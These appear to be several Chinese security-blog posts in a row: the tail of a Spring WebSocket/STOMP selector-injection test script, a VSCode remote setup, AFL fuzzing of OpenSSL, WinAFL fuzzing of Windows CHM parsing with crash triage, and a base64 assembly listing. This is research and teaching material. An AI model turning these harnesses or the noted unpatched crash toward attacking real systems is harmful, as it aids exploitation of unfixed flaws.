    <script src="https://cdn.jsdelivr.net/npm/sockjs-client@1/dist/sockjs.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.js"></script>
    <body>
    <p> test </p>
    </body>
</html>

<script>
select = 'test';
url = 'http://127.0.0.1:8080'
var ws = new SockJS(url);

var stompClient = Stomp.over(ws);

stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
      "selector": selector
    })
  });
</script>

结果

可以发现建立握手过程由于服务器端对http的头部Origin进行同源策略验证(根据Origin的概念,由浏览器发送,无法伪造),最终验证失败,所以从以上得出,以我有限的知识水平没法批量。

总结

第一次分析java框架相关的漏洞,由于自己水,真心累啊=.=,水平有限难免有错,非常欢迎批评指正!

本文章已发表于安全客

参考

原乌云文章
先知社区chybeta
勾陈安全实验室0c0c0f
表达式语言SpEL
知乎 websocket使用答案
springmvc 使用WebSocket 和 STOMP 实现消息功能
IBM websocket劫持漏洞

VSCode 远程开发配置

VSCode 远程开发

目前个人开发还是公司开发,都越来越集中到了远程开发中,vscode目前也开始官方支持远程开发,并且释出了对应的插件,所以来简单的使用一下

vscode 稳定版本:1.36.1

安装插件

1562728632009

remote-ssh

这个推荐使用git for windowsssh,别的也不是不可以,只是这个配置和使用起来没有那么恶心

整个配置在win7虚拟机中完成

设置ssh位置

1562729127420

生成密钥

1562729578696

将公钥发送到远程机器

1562729673309

查看,并更改权限

1562729751275

配置文件

1562729925819

连接测试

1562729986024

可以发现,成功连接

gdb调试测试

配置launch.json

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "gdb debug test",
            "type": "cppdbg",
            "request": "launch",
            "program": "${workspaceFolder}/test",
            "args": [],
            "stopAtEntry": false,
            "cwd": "${workspaceFolder}",
            "environment": [],
            "externalConsole": false,
            "MIMode": "gdb",
            "setupCommands": [
                {
                    "description": "Enable pretty-printing for gdb",
                    "text": "-enable-pretty-printing",
                    "ignoreFailures": true
                }
            ],
            "preLaunchTask": "Compile"
        }
    ]
}

配置tasks.json

{
    // See https://go.microsoft.com/fwlink/?LinkId=733558
    // for the documentation about the tasks.json format
    "version": "2.0.0",
    "tasks": [
        {
            "label": "Compile",
            "type": "shell",
            "command": [
                "g++ -g test.cc -o test"
            ],
            "options": {
                "cwd": "${workspaceRoot}/"
            },
            "problemMatcher": []
        },
    ]
}

调试测试

1562730656982

实现远程调试

remote-wsl

wsl远程开发基本不需要配置

直接ctl+p

1562735294231

打开新窗口就会直接连接,之后选择打开的文件夹即可,如果需要调试的话,可以参考remote-ssh的配置

官方的这几个插件真心好用

opessl fuzzing测试学习

opessl fuzzing测试学习

openssl是一个非常重要的库,并且开源,针对其的fuzzing测试也比较多,是一个非常好的学习fuzzing的途径

漏洞列表

下面列出搜集的使用fuzzing方式测出的openssl漏洞,之后对每个漏洞做专门分析

CVE 说明
CVE-2014-0160 openssl HeartBleed (CVE-2014-0160)
CVE-2015-1788 Malformed ECParameters causes infinite loop (CVE-2015-1788)
CVE-2015-3193 miscalculation in OpenSSL's BN_mod_exp

CVE-2014-0160

cve-2015-1788

根据hackone的说明,影响

OpenSSL 1.0.2 users should upgrade to 1.0.2b
OpenSSL 1.0.1 users should upgrade to 1.0.1n
OpenSSL 1.0.0d (and below) users should upgrade to 1.0.0s
OpenSSL 0.9.8r (and below) users should upgrade to 0.9.8zg

测试环境准备

git clone https://github.com/openssl/openssl
cd openssl
git checkout OpenSSL_1_0_1
CC=afl-gcc ./config no-ec2m
make

openssl 版本

/src/openssl# ./apps/openssl version
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
OpenSSL 1.0.1 14 Mar 2012

fuzzing测试代码

#include <stdio.h>
#include <stdint.h>
#include <stdio.h>
#include <assert.h>

#include <openssl/ec.h>

int main(int argc, char **argv)
{
  unsigned char buf[1024];
  assert(argc == 2);
  FILE *f = fopen(argv[1], "rb");
  assert(f);
  size_t r = fread(buf, 1, 1024, f);
  printf("read = %zu\n", r);
  unsigned char *ptr = buf;
  EC_GROUP *ecg = d2i_ECPKParameters(NULL, &ptr, r);
  if (ecg)
    EC_GROUP_free(ecg);
  return 0;
}

编译

afl-gcc -I /root/openssl/include/  fuzzing_openssl.c -o fuzzing_openssl /root/openssl/libssl.a /root/openssl/libcrypto.a -ldl

效果

![1555596865313](openssl fuzzing学习.assets/1555596865313.png)

但是测试了几天都没有结果,做如下测试

# ./fuzzing_openssl input/broken-cert.der 
read = 598

竟然没有进入无限循环,这个问题想了很多的办法,也测试了很长时间,但始终没有测试出来,不知原因

CVE-2015-3193

参考

cve-2015-1788-openssl-binpoly-hang

hackone说明

Windows 10帮助文件chm格式漏洞挖掘

Windows 10帮助文件chm格式漏洞挖掘

xp系统下windows帮助文件格式为hlp,在win7/win8/win10下,微软升级了帮助文件格式,使用了chm格式,这里引用维基百科上的说明

微软HTML帮助集,即编译的HTML帮助文件(英语:Microsoft Compiled HTML Help, CHM),是微软继承早先的WinHelp发展的一种文件格式,用来提供在线帮助,是一种应用较广泛的文件格式。因为CHM文件如一本书一样,可以提供内容目录、索引和搜索等功能,所以也常被用来制作电子书。

简单介绍一下背景,下面直接开干

fuzz API

涉及到chm文件解析的windows 10上文件主要有hh.exehhctrl.ocx,其中ocx格式把它当作dll格式即可,hh.exe是打开chm文件的主程序,hhctrl.ocx中导出了解析chm文件的主要函数。

1579228361354

根据MSDN可以找到HtmlHelpA函数定义

HWND HtmlHelpA(
  HWND      hwndCaller,
  LPCSTR    pszFile,
  UINT      uCommand,
  DWORD_PTR dwData
);

根据其定义编写harness code

#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>
#include <HtmlHelp.h>

typedef int(*PFN_HtmlHelpA)(HWND hwndCaller, LPCSTR pszFile, UINT uCommand, DWORD_PTR dwData);

int main(int argc, char **argv)
{
	if (argc != 2) {
		printf("Usage: %s input_file\n", argv[0]);
		return 1;
	}
    HMODULE hLibHH = NULL;
    PFN_HtmlHelpA pfnHtmlHelpA = NULL;

	hLibHH = LoadLibraryA("C:\\Windows\\System32\\hhctrl.ocx");
	if (hLibHH == NULL)
		return 2;

	pfnHtmlHelpA = (PFN_HtmlHelpA)GetProcAddress(hLibHH, "HtmlHelpA");
	if (pfnHtmlHelpA != NULL)
	{
		pfnHtmlHelpA(NULL, argv[1], HH_DISPLAY_TOPIC, NULL);
		pfnHtmlHelpA(NULL, NULL, HH_CLOSE_ALL, NULL);
	}
	return 0;
}

编译为release x64版本,根据你的喜好,别的版本也没有任何问题

fuzz之前我们最好使用drrun观察一下其代码覆盖情况,这么做的原因在于,该做的都做了,没挣到钱,老婆孩子跟别人跑了,那不就悲剧了。所以姿势水平很重要,用drrun跑一下

..\DynamoRIO\bin64\drrun.exe -t drcov -- TestHtmlHelp.exe D:\corpus\chm_corpus\0203cdd1b35e54a50a67277cdb7f727640fe140056cabbf456147d930ff01625.chm

看一下效果,姿势应该没啥问题

1579229832260

再看看代码覆盖数据

1579229884124

效果还行,可以接受,最小化一下输入语料就可以开始fuzz

C:\python27-x64\python winafl-cmin.py -D D:\Dropbox\fuzzing\DynamoRIO\bin64 -t 20000 -i  D:\corpus\chm_corpus  -o D:\Dropbox\fuzzing\TestHelp\chm_minset -covtype edge -coverage_module hhctrl.ocx -target_module TestHtmlHelp.exe -target_offset 0x1070 -nargs 2 -- TestHtmlHelp.exe @@

开始fuzz

afl-fuzz.exe -i D:\Dropbox\fuzzing\TestHelp\input -o output -S chm_slave_1 -D D:\Dropbox\fuzzing\DynamoRIO\bin64 -t 20000 -- -coverage_module hhctrl.ocx -target_module TestHtmlHelp.exe -target_offset 0x1070 -nargs 2 -- TestHtmlHelp.exe @@

速度优化

如果真按照上面的这么做了,我们会发现,直接调用HtmlHelpA的这种fuzz方式,速度非常非常的慢,大概的exec speed0.1-0.5/s之间,最多应该不会超过0.5,一般稳定在0.2左右,但是如果你说你机器多,cpu核数多,无所谓,那也可以,因为我测试了,即使是这么慢的速度,24小时以内也会fuzz出几个crash的。

1579230864933

但是我这种穷逼就不行了,最好是找到速度慢的原因,能够优化一下,那当然是好的了。简而言之就是需要提高姿势水平,下面来进行优化

patch com调用

具体原因我们去看一下HtmlHelpA的代码

1579230532340

上图圈出来的代码

  1. com初始化
  2. 窗口操作
  3. 消息循环

后两种无疑都是比较耗时的操作,com初始化我一开始不知道会特别耗时的,看了我们dicord群里symeon的文章发现原来是耗时的啊,所以我打算试着patch掉这部分代码,看看有没有效果

1579231060323

保存一下,之后使用这个被patchhhctrl.ocx测试,最后的结果让我失望了,速度感觉最多也就提升了0.1,对我来说没啥卵用啊。看样还是姿势不太对,而且这种方式有个弊端,不停的弹出窗口,很容易导致windows各种紊乱,出现奇奇怪怪的bug。比如vscode会不停崩溃

1579243682230

具体原理呢,我作为一个菜鸟呢,也不懂,所以不到万不得已,不要使用一直弹窗的fuzz方式

无窗口化调用

根据上面的测试,无论是否patchcom调用,都依然会建立窗口,所以下一步看看能否使用命令行的方式调用chm解析,经过搜索发现,hh.exe还真有命令行调用方式

hh.exe -decompile <decompile_dir> <decompile_file>

我们调用一下试试,看看它是怎么做的

打开process monitor,并执行

hh.exe -decompile test_chm D:\test.chm

1579233197713

可以发现,原来hh.exe是调用doWinMaindecompile chm文件的,MSDN上没有搜到doWinMain官方定义,来看看doWinMain反汇编代码

__int64 __fastcall doWinMain(HMODULE hModule, __int64 a2)
{
  __int64 v2; // rbx
  HMODULE v3; // rdi
  unsigned int v4; // ebx

  v2 = a2;
  v3 = hModule;
  if ( !dword_18008FD64 )
  {
    if ( OleInitialize(0i64) == 1 )
      OleUninitialize();
    else
      dword_18008FD64 = 1;
  }
  dword_1800900E8 = 1;
  WinSqmIncrementDWORD(0i64, 2400i64, 1i64);
  v4 = sub_18002750C(v3, v2);
  if ( dword_18008FD64 )
  {
    OleUninitialize();
    dword_18008FD64 = 0;
  }
  return v4;
}

ida 显示有两个参数,我们结合hh.exe的反汇编代码看一下

1579234120175

两个参数分别为rcxrdx,第一个参数hModule,这个好确认,回溯反汇编代码就可以知道,它利用的是LoadLibrary的返回值,第二个参数目前不知道是什么,所以利用windbg调试一下hh.exe

0:000> lm
start             end                 module name
00007ff7`0bb40000 00007ff7`0bb49000   hh         (deferred)             
00007ffe`933e0000 00007ffe`93683000   KERNELBASE   (deferred)             
00007ffe`944f0000 00007ffe`9458e000   msvcrt     (deferred)             
00007ffe`94640000 00007ffe`946d7000   sechost    (deferred)             
00007ffe`94f90000 00007ffe`95033000   ADVAPI32   (deferred)             
00007ffe`952b0000 00007ffe`95362000   KERNEL32   (deferred)             
00007ffe`953f0000 00007ffe`95510000   RPCRT4     (deferred)             
00007ffe`95780000 00007ffe`95970000   ntdll      (pdb symbols)          c:\symbols\ntdll.pdb\0C2E19EA1901E9B82E4567D2D21E56D21\ntdll.pdb

0:000> bu hh+0x1670

0:000> g
Breakpoint 0 hit
hh+0x1670:
00007ff7`0bb41670 ff151a1c0000    call    qword ptr [hh+0x3290 (00007ff7`0bb43290)] ds:00007ff7`0bb43290={ntdll!LdrpDispatchUserCallTarget (00007ffe`9580c590)}

0:000> dps rdx
000001d4`b54c3d92  69706d6f`6365642d
000001d4`b54c3d9a  65745c3a`4420656c
000001d4`b54c3da2  44206d68`635f7473
000001d4`b54c3daa  632e7473`65745c3a
000001d4`b54c3db2  abababab`ab006d68
000001d4`b54c3dba  abababab`abababab
000001d4`b54c3dc2  feeefeee`feababab
000001d4`b54c3dca  0000feee`feeefeee
000001d4`b54c3dd2  00000000`00000000
000001d4`b54c3dda  feee0000`00000000
000001d4`b54c3de2  c660feee`feeefeee
000001d4`b54c3dea  00003000`61eda2de
000001d4`b54c3df2  00000000`00000000
000001d4`b54c3dfa  00000000`00000000
000001d4`b54c3e02  00000000`00000000
000001d4`b54c3e0a  00000000`00000000

0:000> dc rdx
000001d4`b54c3d92  6365642d 69706d6f 4420656c 65745c3a  -decompile D:\te
000001d4`b54c3da2  635f7473 44206d68 65745c3a 632e7473  st_chm D:\test.c
000001d4`b54c3db2  ab006d68 abababab abababab abababab  hm..............
000001d4`b54c3dc2  feababab feeefeee feeefeee 0000feee  ................
000001d4`b54c3dd2  00000000 00000000 00000000 feee0000  ................
000001d4`b54c3de2  feeefeee c660feee 61eda2de 00003000  ......`....a.0..
000001d4`b54c3df2  00000000 00000000 00000000 00000000  ................
000001d4`b54c3e02  00000000 00000000 00000000 00000000  ................

rdx存储命令行参数,由此编写doWinMainharness code

#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>
#include <HtmlHelp.h>

typedef int(*PFN_DoWinMain)(HMODULE, const char *);

int main(int argc, char **argv)
{
	if (argc != 2) {
		printf("Usage: %s input_file\n", argv[0]);
		return 1;
	}

	HMODULE hLibHH = NULL;
	PFN_DoWinMain pfnDoWinMain = NULL;

	hLibHH = LoadLibraryA("C:\\Windows\\system32\\hhctrl.ocx");
	if (hLibHH == NULL)
		return 2;

	pfnDoWinMain = (PFN_DoWinMain)GetProcAddress(hLibHH, "doWinMain");
	std::string chCommandLine = "-decompile test_chm ";
	chCommandLine += std::string(argv[1]);

	if (pfnDoWinMain != NULL)
		pfnDoWinMain(hLibHH, chCommandLine.c_str());
	return 0;
}

编译,运行,之后看看效果

1579243243239

十多分钟可能就会出现crash

1579243860689

速度依然慢,但跟以前比较的话,速度几乎提升足足有几十倍,就这还要啥自行车呢,经过大概24小时的运行的话,你会发现明显比使用HtmlHelpA的方式快多了,所以也发现了更多的crash

crashes简要分析

crash分析我基本会直接用脚本跑一下,看看跑出来了几种,看看结果

1579245066116

出现了很多种crash,随便挑一个用windbg看看

0:000> g
ModLoad: 00007fff`6de50000 00007fff`6df01000   C:\Windows\system32\hhctrl.ocx
ModLoad: 00007fff`907e0000 00007fff`9087e000   C:\WINDOWS\System32\msvcrt.dll
ModLoad: 00007fff`8ff60000 00007fff`900f4000   C:\WINDOWS\System32\USER32.dll
ModLoad: 00007fff`8ebc0000 00007fff`8ebe1000   C:\WINDOWS\System32\win32u.dll
ModLoad: 00007fff`8f750000 00007fff`8f776000   C:\WINDOWS\System32\GDI32.dll
ModLoad: 00007fff`8ec90000 00007fff`8ee24000   C:\WINDOWS\System32\gdi32full.dll
ModLoad: 00007fff`8ebf0000 00007fff`8ec8e000   C:\WINDOWS\System32\msvcp_win.dll
ModLoad: 00007fff`8fb00000 00007fff`8fba3000   C:\WINDOWS\System32\ADVAPI32.dll
ModLoad: 00007fff`90680000 00007fff`90717000   C:\WINDOWS\System32\sechost.dll
ModLoad: 00007fff`90cd0000 00007fff`90df0000   C:\WINDOWS\System32\RPCRT4.dll
ModLoad: 00007fff`90df0000 00007fff`914d5000   C:\WINDOWS\System32\SHELL32.dll
ModLoad: 00007fff`8ee30000 00007fff`8ee7a000   C:\WINDOWS\System32\cfgmgr32.dll
ModLoad: 00007fff`90c20000 00007fff`90cc9000   C:\WINDOWS\System32\shcore.dll
ModLoad: 00007fff`90880000 00007fff`90bb6000   C:\WINDOWS\System32\combase.dll
ModLoad: 00007fff`8eb40000 00007fff`8ebc0000   C:\WINDOWS\System32\bcryptPrimitives.dll
ModLoad: 00007fff`8ee80000 00007fff`8f5ff000   C:\WINDOWS\System32\windows.storage.dll
ModLoad: 00007fff`8e610000 00007fff`8e62f000   C:\WINDOWS\System32\profapi.dll
ModLoad: 00007fff`8e5a0000 00007fff`8e5ea000   C:\WINDOWS\System32\powrprof.dll
ModLoad: 00007fff`8e570000 00007fff`8e580000   C:\WINDOWS\System32\UMPDC.dll
ModLoad: 00007fff`8fd70000 00007fff`8fdc2000   C:\WINDOWS\System32\shlwapi.dll
ModLoad: 00007fff`8e580000 00007fff`8e591000   C:\WINDOWS\System32\kernel.appcore.dll
ModLoad: 00007fff`8ea20000 00007fff`8ea37000   C:\WINDOWS\System32\cryptsp.dll
ModLoad: 00007fff`8f8c0000 00007fff`8fa16000   C:\WINDOWS\System32\ole32.dll
ModLoad: 00007fff`8fe90000 00007fff`8ff54000   C:\WINDOWS\System32\OLEAUT32.dll
ModLoad: 00007fff`6feb0000 00007fff`6ff59000   C:\WINDOWS\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.18362.535_none_2a26181e466b3888\COMCTL32.dll
ModLoad: 00007fff`914f0000 00007fff`9151e000   C:\WINDOWS\System32\IMM32.DLL
ModLoad: 00007fff`8c8d0000 00007fff`8c969000   C:\WINDOWS\system32\uxtheme.dll
ModLoad: 00007fff`639e0000 00007fff`63a2b000   C:\Program Files\Listary\ListaryHook64.dll
ModLoad: 00007fff`71920000 00007fff`71985000   C:\WINDOWS\SYSTEM32\OLEACC.dll
ModLoad: 00007fff`90720000 00007fff`907c2000   C:\WINDOWS\System32\clbcatq.dll
ModLoad: 00007fff`71a90000 00007fff`71abe000   C:\Windows\System32\itss.dll
ModLoad: 00007fff`844c0000 00007fff`84696000   C:\Windows\System32\urlmon.dll
ModLoad: 00007fff`7d830000 00007fff`7dd06000   C:\Windows\System32\WININET.dll
ModLoad: 00007fff`84210000 00007fff`844b6000   C:\Windows\System32\iertutil.dll
ModLoad: 00007fff`8df50000 00007fff`8df5c000   C:\Windows\System32\CRYPTBASE.DLL
(1bdc.34b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
itss!DllGetClassObject+0x3706:
00007fff`71a9b346 488b4020        mov     rax,qword ptr [rax+20h] ds:6e65746e`6f432f84=????????????????
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000ea`e0aff450 00007fff`71a9a9b2 itss!DllGetClassObject+0x3706
01 000000ea`e0aff480 00007fff`71a9b214 itss!DllGetClassObject+0x2d72
02 000000ea`e0aff4b0 00007fff`71a9b10e itss!DllGetClassObject+0x35d4
03 000000ea`e0aff4f0 00007fff`6de74963 itss!DllGetClassObject+0x34ce
04 000000ea`e0aff530 00007fff`6de75403 hhctrl!Ordinal10+0x24963
05 000000ea`e0aff7c0 00007fff`6de77811 hhctrl!Ordinal10+0x25403
06 000000ea`e0aff800 00007fff`6de774de hhctrl!doWinMain+0x391
07 000000ea`e0affbb0 00007ff7`29521226 hhctrl!doWinMain+0x5e
08 000000ea`e0affbe0 00007ff7`29521868 TestDoWinMain+0x1226
09 000000ea`e0affc80 00007fff`8fde7bd4 TestDoWinMain+0x1868
0a 000000ea`e0affcc0 00007fff`9170ced1 KERNEL32!BaseThreadInitThunk+0x14
0b 000000ea`e0affcf0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:000> !load msec_x64.dll
0:000> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: UNKNOWN
Recommended Bug Title: Read Access Violation starting at itss!DllGetClassObject+0x0000000000003706 (Hash=0xb07b0e28.0xbed30cef)

一个OOB,具体啥情况需要具体分析

总结

当天下午,我在discord群里提醒了大家关注一下windows help文件格式,群里的乌克兰老哥动作比我还快,当晚出结果就提交给了MSRC,然后被拒了,就跟我说了一声,所以我也不打算提了。反正漏洞是没有被修复的,被利用的话,那就是0day :)

如果有老哥有新颖的攻击面,比如outlook/office等,使MSRC能够接受的话,可以带我一个哈

整个过程挺有意思的,作为一个菜鸡,就写个文章总结一下。其实整个过程还有有更好的fuzz方式,不需要写什么harness code,直接fuzz hh.exe,使用doWinMain作为target_method,也可以达到目的,但上面这种方式,是我比较喜欢的,所以就详细说了一下。万一大家能有更好的方式呢,希望大家也不吝赐教,fuzz这玩意就是越深入越有意思

祝大家挖洞愉快哈

文章已首发于安全客

逆向中的base64加解密

base64 加密

EXTRN   @__security_check_cookie@4:PROC
_i$ = -28                                         ; size = 4
_j$ = -24                                         ; size = 4
_k$ = -20                                         ; size = 4
_s$ = -16                                         ; size = 12
__$ArrayPad$ = -4                                 ; size = 4
_in$ = 8                                                ; size = 4
_in_len$ = 12                                     ; size = 4
_out$ = 16                                          ; size = 4
b64_encode PROC
        push     ebp
        mov      ebp, esp
        sub      esp, 28              ; 0000001cH
        mov      eax, DWORD PTR ___security_cookie
        xor      eax, ebp
        mov      DWORD PTR __$ArrayPad$[ebp], eax
        mov      DWORD PTR _i$[ebp], 0
        mov      DWORD PTR _j$[ebp], 0
        mov      DWORD PTR _k$[ebp], 0
        mov      DWORD PTR _i$[ebp], 0
        jmp      SHORT $LN4@b64_encode
$LN2@b64_encode:
        mov      eax, DWORD PTR _i$[ebp]
        add      eax, 1
        mov      DWORD PTR _i$[ebp], eax
$LN4@b64_encode:
        mov      ecx, DWORD PTR _i$[ebp]
        cmp      ecx, DWORD PTR _in_len$[ebp]
        jae      $LN3@b64_encode
        mov      edx, DWORD PTR _j$[ebp]
        mov      eax, DWORD PTR _i$[ebp]
        mov      ecx, DWORD PTR _in$[ebp]
        mov      eax, DWORD PTR [ecx+eax*4]
        mov      DWORD PTR _s$[ebp+edx*4], eax
        mov      ecx, DWORD PTR _j$[ebp]
        add      ecx, 1
        mov      DWORD PTR _j$[ebp], ecx
        cmp      DWORD PTR _j$[ebp], 3
        jne      $LN5@b64_encode
        mov      edx, 4
        imul     eax, edx, 0
        mov      ecx, DWORD PTR _s$[ebp+eax]
        shr      ecx, 2
        mov      edx, DWORD PTR _out$[ebp]
        add      edx, DWORD PTR _k$[ebp]
        mov      al, BYTE PTR ?b64_chr@@3PAEA[ecx]
        mov      BYTE PTR [edx], al
        mov      ecx, 4
        imul     edx, ecx, 0
        mov      eax, DWORD PTR _s$[ebp+edx]
        and      eax, 3
        shl      eax, 4
        mov      ecx, 4
        shl      ecx, 0
        mov      edx, DWORD PTR _s$[ebp+ecx]
        and      edx, 240   ; 000000f0H
        shr      edx, 4
        mov      ecx, DWORD PTR _out$[ebp]
        add      ecx, DWORD PTR _k$[ebp]
        mov      dl, BYTE PTR ?b64_chr@@3PAEA[eax+edx]
        mov      BYTE PTR [ecx+1], dl
        mov      eax, 4
        shl      eax, 0
        mov      ecx, DWORD PTR _s$[ebp+eax]
        and      ecx, 15              ; 0000000fH
        mov      edx, 4
        shl      edx, 1
        mov      eax, DWORD PTR _s$[ebp+edx]
        and      eax, 192   ; 000000c0H
        shr      eax, 6
        mov      edx, DWORD PTR _out$[ebp]
        add      edx, DWORD PTR _k$[ebp]
        mov      al, BYTE PTR ?b64_chr@@3PAEA[eax+ecx*4]
        mov      BYTE PTR [edx+2], al
        mov      ecx, 4
        shl      ecx, 1
        mov      edx, DWORD PTR _s$[ebp+ecx]
        and      edx, 63              ; 0000003fH
        mov      eax, DWORD PTR _out$[ebp]
        add      eax, DWORD PTR _k$[ebp]
        mov      cl, BYTE PTR ?b64_chr@@3PAEA[edx]
        mov      BYTE PTR [eax+3], cl
        mov      DWORD PTR _j$[ebp], 0
        mov      edx, DWORD PTR _k$[ebp]
        add      edx, 4
        mov      DWORD PTR _k$[ebp], edx
$LN5@b64_encode:
        jmp      $LN2@b64_encode
$LN3@b64_encode:
        cmp      DWORD PTR _j$[ebp], 0
        je       $LN6@b64_encode
        cmp      DWORD PTR _j$[ebp], 1
        jne      SHORT $LN7@b64_encode
        mov      eax, 4
        shl      eax, 0
        mov      DWORD PTR _s$[ebp+eax], 0
$LN7@b64_encode:
        mov      ecx, 4
        imul     edx, ecx, 0
        mov      eax, DWORD PTR _s$[ebp+edx]
        shr      eax, 2
        mov      ecx, DWORD PTR _out$[ebp]
        add      ecx, DWORD PTR _k$[ebp]
        mov      dl, BYTE PTR ?b64_chr@@3PAEA[eax]
        mov      BYTE PTR [ecx], dl
        mov      eax, 4
        imul     ecx, eax, 0
        mov      edx, DWORD PTR _s$[ebp+ecx]
        and      edx, 3
        shl      edx, 4
        mov      eax, 4
        shl      eax, 0
        mov      ecx, DWORD PTR _s$[ebp+eax]
        and      ecx, 240   ; 000000f0H
        shr      ecx, 4
        mov      eax, DWORD PTR _out$[ebp]
        add      eax, DWORD PTR _k$[ebp]
        mov      cl, BYTE PTR ?b64_chr@@3PAEA[edx+ecx]
        mov      BYTE PTR [eax+1], cl
        cmp      DWORD PTR _j$[ebp], 2
        jne      SHORT $LN8@b64_encode
        mov      edx, 4
        shl      edx, 0
        mov      eax, DWORD PTR _s$[ebp+edx]
        and      eax, 15              ; 0000000fH
        mov      ecx, DWORD PTR _out$[ebp]
        add      ecx, DWORD PTR _k$[ebp]
        mov      dl, BYTE PTR ?b64_chr@@3PAEA[eax*4]
        mov      BYTE PTR [ecx+2], dl
        jmp      SHORT $LN9@b64_encode
$LN8@b64_encode:
        mov      eax, DWORD PTR _out$[ebp]
        add      eax, DWORD PTR _k$[ebp]
        mov      BYTE PTR [eax+2], 61     ; 0000003dH
$LN9@b64_encode:
        mov      ecx, DWORD PTR _out$[ebp]
        add      ecx, DWORD PTR _k$[ebp]
        mov      BYTE PTR [ecx+3], 61     ; 0000003dH
        mov      edx, DWORD PTR _k$[ebp]
        add      edx, 4
        mov      DWORD PTR _k$[ebp], edx
$LN6@b64_encode:
        mov      eax, DWORD PTR _out$[ebp]
        add      eax, DWORD PTR _k$[ebp]
        mov      BYTE PTR [eax], 0
        mov      eax, DWORD PTR _k$[ebp]
        mov      ecx, DWORD PTR __$ArrayPad$[ebp]
        xor      ecx, ebp
        call     @__security_check_cookie@4
        mov      esp, ebp
        pop      ebp
        ret      0
b64_encode ENDP

base64解密

EXTRN   @__security_check_cookie@4:PROC
_j$ = -32                                         ; size = 4
_i$ = -28                                         ; size = 4
_k$ = -24                                         ; size = 4
_s$ = -20                                         ; size = 16
__$ArrayPad$ = -4                                 ; size = 4
_in$ = 8                                                ; size = 4
_in_len$ = 12                                     ; size = 4
_out$ = 16                                          ; size = 4
b64_decode PROC
        push     ebp
        mov      ebp, esp
        sub      esp, 32              ; 00000020H
        mov      eax, DWORD PTR ___security_cookie
        xor      eax, ebp
        mov      DWORD PTR __$ArrayPad$[ebp], eax
        mov      DWORD PTR _i$[ebp], 0
        mov      DWORD PTR _j$[ebp], 0
        mov      DWORD PTR _k$[ebp], 0
        mov      DWORD PTR _i$[ebp], 0
        jmp      SHORT $LN4@b64_decode
$LN2@b64_decode:
        mov      eax, DWORD PTR _i$[ebp]
        add      eax, 1
        mov      DWORD PTR _i$[ebp], eax
$LN4@b64_decode:
        mov      ecx, DWORD PTR _i$[ebp]
        cmp      ecx, DWORD PTR _in_len$[ebp]
        jae      $LN3@b64_decode
        mov      edx, DWORD PTR _in$[ebp]
        add      edx, DWORD PTR _i$[ebp]
        movzx    eax, BYTE PTR [edx]
        push     eax
        call     ?b64_int@@YAII@Z
        add      esp, 4
        mov      ecx, DWORD PTR _j$[ebp]
        mov      DWORD PTR _s$[ebp+ecx*4], eax
        mov      edx, DWORD PTR _j$[ebp]
        add      edx, 1
        mov      DWORD PTR _j$[ebp], edx
        cmp      DWORD PTR _j$[ebp], 4
        jne      $LN5@b64_decode
        mov      eax, 4
        imul     ecx, eax, 0
        mov      edx, DWORD PTR _s$[ebp+ecx]
        mov      eax, 4
        shl      eax, 0
        mov      ecx, DWORD PTR _s$[ebp+eax]
        and      ecx, 48              ; 00000030H
        shr      ecx, 4
        lea      edx, DWORD PTR [ecx+edx*4]
        mov      eax, DWORD PTR _k$[ebp]
        mov      ecx, DWORD PTR _out$[ebp]
        mov      DWORD PTR [ecx+eax*4], edx
        mov      edx, 4
        shl      edx, 1
        cmp      DWORD PTR _s$[ebp+edx], 64 ; 00000040H
        je       SHORT $LN6@b64_decode
        mov      eax, 4
        shl      eax, 0
        mov      ecx, DWORD PTR _s$[ebp+eax]
        and      ecx, 15              ; 0000000fH
        shl      ecx, 4
        mov      edx, 4
        shl      edx, 1
        mov      eax, DWORD PTR _s$[ebp+edx]
        and      eax, 60              ; 0000003cH
        shr      eax, 2
        add      ecx, eax
        mov      edx, DWORD PTR _k$[ebp]
        mov      eax, DWORD PTR _out$[ebp]
        mov      DWORD PTR [eax+edx*4+4], ecx
        mov      ecx, 4
        imul     edx, ecx, 3
        cmp      DWORD PTR _s$[ebp+edx], 64 ; 00000040H
        je       SHORT $LN8@b64_decode
        mov      eax, 4
        shl      eax, 1
        mov      ecx, DWORD PTR _s$[ebp+eax]
        and      ecx, 3
        shl      ecx, 6
        mov      edx, 4
        imul     eax, edx, 3
        add      ecx, DWORD PTR _s$[ebp+eax]
        mov      edx, DWORD PTR _k$[ebp]
        mov      eax, DWORD PTR _out$[ebp]
        mov      DWORD PTR [eax+edx*4+8], ecx
        mov      ecx, DWORD PTR _k$[ebp]
        add      ecx, 3
        mov      DWORD PTR _k$[ebp], ecx
        jmp      SHORT $LN9@b64_decode
$LN8@b64_decode:
        mov      edx, DWORD PTR _k$[ebp]
        add      edx, 2
        mov      DWORD PTR _k$[ebp], edx
$LN9@b64_decode:
        jmp      SHORT $LN7@b64_decode
$LN6@b64_decode:
        mov      eax, DWORD PTR _k$[ebp]
        add      eax, 1
        mov      DWORD PTR _k$[ebp], eax
$LN7@b64_decode:
        mov      DWORD PTR _j$[ebp], 0
$LN5@b64_decode:
        jmp      $LN2@b64_decode
$LN3@b64_decode:
        mov      eax, DWORD PTR _k$[ebp]
        mov      ecx, DWORD PTR __$ArrayPad$[ebp]
        xor      ecx, ebp
        call     @__security_check_cookie@4
        mov      esp, ebp
        pop      ebp
        ret      0
b64_decode ENDP
_ch$ = 8                                                ; size = 4
b64_int PROC ; 这个变形的话,可以通过打表解决!注意这种思维!
        push     ebp
        mov      ebp, esp
        cmp      DWORD PTR _ch$[ebp], 43  ; 0000002bH
        jne      SHORT $LN2@b64_int
        mov      eax, 62              ; 0000003eH
        jmp      SHORT $LN1@b64_int
$LN2@b64_int:
        cmp      DWORD PTR _ch$[ebp], 47  ; 0000002fH
        jne      SHORT $LN3@b64_int
